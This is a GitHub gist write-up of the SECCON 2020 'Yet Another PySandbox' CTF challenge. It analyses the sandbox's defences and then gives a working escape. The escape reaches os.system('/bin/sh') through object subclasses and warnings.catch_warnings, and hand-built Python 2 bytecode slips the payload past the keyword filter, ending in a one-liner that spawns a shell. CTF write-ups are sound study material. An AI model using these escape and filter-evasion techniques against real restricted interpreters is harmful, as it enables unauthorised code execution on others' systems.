Skip to content

Instantly share code, notes, and snippets.

@Stfort52
Last active August 9, 2021 08:12
Show Gist options
  • Save Stfort52/cff4264de4a57a3c54afbe602bd0dbb6 to your computer and use it in GitHub Desktop.
Save Stfort52/cff4264de4a57a3c54afbe602bd0dbb6 to your computer and use it in GitHub Desktop.
SECCON 2020 Yet Another PySandbox

SECCON 2020 Yet Another PySandbox

This is a write-up for the seccon 2020 sandbox challenge Yet Another PySandbox.

Problem

We are provided with a python script called run.py. We are required to break out of the restricted python environment.

Analysis

There are several measures to prevent the outbreak.

def evaluator():
    print('Welcome to yet yet another sandboxed python evaluator!')
    print('Give me an expression (ex: 1+2): ')
    s = RAW_INPUT('> ').lower()
    if check_eval_str(s):
        print_eval_result(sandboxed_eval(s))
    else:
        print('Invalid input')

First, all the uppercase letters in the string is converted into lowercase letters.

EVAL = eval
LEN = len
RAW_INPUT = raw_input
TRUE = True
FALSE = False
TYPE = type
INT = int

Therefore you can't use the uppercase alternatives which are used in other parts of codes. Also, the usage of literals None , True, and False are banned because of uppercase letters although its in the list of allowed keywords.

from sys import modules
del modules['os']
del modules['sys']
del modules
keys = list(__builtins__.__dict__.keys())

# bits of code omitted

for k in keys:
    if k not in ['False', 'None', 'True', 'bool', 'bytearray', 'bytes', 'chr', 'dict', 'eval', 'exit', 'filter', 'float', 'hash', 'int', 'iter', 'len', 'list', 'long', 'map', 'max', 'ord', 'print', 'range', 'raw_input', 'reduce', 'repr', 'setattr', 'sum', 'type']:
        del __builtins__.__dict__[k]

Second, it kills modules and builtins.

def check_eval_str(s):
    s = s.lower()
    if LEN(s) > 0x1000:
        return FALSE
    for x in ['eval', 'exec', '__', 'module', 'class', 'globals', 'os', 'import']:
        if x in s:
            return FALSE
    return TRUE

Third, it has a length limit and a filter for some critical keywords. Because you cannot use __, you cannot use many attributes of python objects, such as __class__ or __mro__.

def print_eval_result(x):
    if TYPE(x) != INT:
        print('wrong program')
        return
    print(x)

Fourth, it checks the type of the evaluated output. Therefore, you can't use tricks like making a object with malicious __str__ to be executed when printing it.

def sandboxed_eval(s):
    print_eval_result = None
    check_eval_str = None
    sandboxed_eval = None
    evaluator = None
    return EVAL(s)

Finally, these functions are replaced with None in this scope.

Solution

In order to execute malicious code, we have to craft our own function and execute it by calling it explicitly. Therefore, we need to craft our own code object from scratch. I created a function which prints out the elements of the code object.

def k(func):
    for i in filter(lambda x:"__" not in x, dir(func.__code__)):
        print("{} = {}".format(i, func.__code__.__getattribute__(i)))
    print func.__code__.co_code
    print func.__code__.co_lnotab

Then I made a function like this.

def y():
    import os
    os.system("/bin/sh")

However this approach has multiple problems with it. Here are the list of the problems to be solved.


  1. The string os is banned.
  2. Even though the keyword import generates the opcode IMPORT_NAME, it still requires __import__ in its current scope to function. (Calling __import__ directly generates a CALL_FUNCTION opcode.)
  3. To create a code object, we need to access the code type itself.
  4. To create a function object, we need to access the function type itself.
  5. Building functions requires the usage of None.
  6. When executing functions which are built from raw code objects, its execution is restricted. Therefore you cannot access the other functions critical attributes such as __global__.
  7. With the same reasons, critical operations such as starting a new file I/O with open() or file() constructors are also restricted.

To solve this nonsense, we have to think about the payload that will execute the shell when the it's executed. We also have to remember that this code will be executed in a restricted environment.

>>> ()
()
>>> ().__class__
<type 'tuple'>
>>> ().__class__.__base__
<type 'object'>
>>> ().__class__.__base__.__subclasses__()
[<type 'type'>, <type 'weakref'>, <type 'weakcallableproxy'>, <type 'weakproxy'>, ...]
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings']
[<class 'warnings.catch_warnings'>]
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]
<class 'warnings.catch_warnings'>

First, we access the object warnings.catch_warnings by searching the subclasses of the type object, which is obtained by going down from the empty tuple ().

>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module
<module 'warnings' from '/usr/lib/python2.7/warnings.pyc'>
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache
<module 'linecache' from '/usr/lib/python2.7/linecache.pyc'>
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os
<module 'os' from '/usr/lib/python2.7/os.pyc'>
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system
<built-in function system>
>>> [x for x in ().__class__.__base__.__subclasses__() if x.__name__ == 'catch_warnings'][0]()._module.linecache.os.system("/bin/sh")
$ 

Then, we can get the warnings.catch_warnings object. That object has a _module attribute which contains the warning module itself. Then, that module warning has a linecache which contains critical modules like os or sys. Therefore, we can execute /bin/sh with it.


Then, we have to build this into a code object.

lst = types.FunctionType(types.CodeType(
    0, #argcount
    1, #nlocals
    4, #stacksize
    67, #flags
    'g\x00\x00d\x04\x00j\x00\x00j\x01\x00j\x02\x00\x83\x00\x00\x44]'
    '\x1b\x00}\x00\x00|\x00\x00j\x03\x00d\x01\x00k\x02\x00r\x13\x00'
    '|\x00\x00^\x02\x00q\x13\x00d\x02\x00\x19\x83\x00\x00j\x04\x00j'
    '\x05\x00j\x06\x00j\x07\x00d\x03\x00\x83\x01\x00\x53', #code
    ([].sort(), 'catch_warnings', 0,'/bin/sh', ()), # constants
    (
        '_' '_class_' '_',
        '_' '_base_' '_',
        '_' '_subcl' 'asses_' '_',
        '_' '_name_' '_',
        '_mod' 'ule',
        'linecache',
        'o' 's',
        'system'
    ), # names
    ('x', ), #varnames
    "yikes.py", # filename
    "lst", #name
    1337, #firstlineno
    '\x00\x01'#lnotab
    ),{})

I used [].sort() for getting None. You can also use things like evaluator or sandboxed_eval which contains None too. Then I broke all the banned strings with whitespaces because python doesn't care about whitespaces between string literals. Also, you need to be careful about the uppercase letters in the code string.


However we cannot import and use types.FunctionType nor types.CodeType. We can instead use type() builtin to get those types from a random lambda function and its code. In short,

>>> types.FunctionType == type(lambda x:x)
True
>>> types.CodeType==type((lambda x:x).func_code)
True

Then this is the final exploit.

lst = type(lambda x:x)(type((lambda x:x).func_code)(
    0, #argcount
    1, #nlocals
    4, #stacksize
    67, #flags
    'g\x00\x00d\x04\x00j\x00\x00j\x01\x00j\x02\x00\x83\x00\x00\x44]'
    '\x1b\x00}\x00\x00|\x00\x00j\x03\x00d\x01\x00k\x02\x00r\x13\x00'
    '|\x00\x00^\x02\x00q\x13\x00d\x02\x00\x19\x83\x00\x00j\x04\x00j'
    '\x05\x00j\x06\x00j\x07\x00d\x03\x00\x83\x01\x00\x53', #code
    ([].sort(), 'catch_warnings', 0,'/bin/sh', ()), # constants
    (
        '_' '_class_' '_',
        '_' '_base_' '_',
        '_' '_subcl' 'asses_' '_',
        '_' '_name_' '_',
        '_mod' 'ule',
        'linecache',
        'o' 's',
        'system'
    ), # names
    ('x', ), #varnames
    "yikes.py", # filename
    "lst", #name
    1337, #firstlineno
    '\x00\x01'#lnotab
    ),{})

Executing this function will grant a shell.

This is a one-liner.

type(lambda x:x)(type((lambda x:x).func_code)(0,1,4,67,'g\x00\x00d\x04\x00j\x00\x00j\x01\x00j\x02\x00\x83\x00\x00\x44]\x1b\x00}\x00\x00|\x00\x00j\x03\x00d\x01\x00k\x02\x00r\x13\x00|\x00\x00^\x02\x00q\x13\x00d\x02\x00\x19\x83\x00\x00j\x04\x00j\x05\x00j\x06\x00j\x07\x00d\x03\x00\x83\x01\x00\x53',([].sort(), 'catch_warnings', 0,'/bin/sh', ()),('_' '_cla' 'ss_' '_', '_' '_base_' '_', '_' '_subcl' 'asses_' '_', '_' '_name_' '_', '_mod' 'ule', 'linecache', 'o' 's', 'system'),('x',),"yikes.py","lst",1337,'\x00\x01'),{})()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment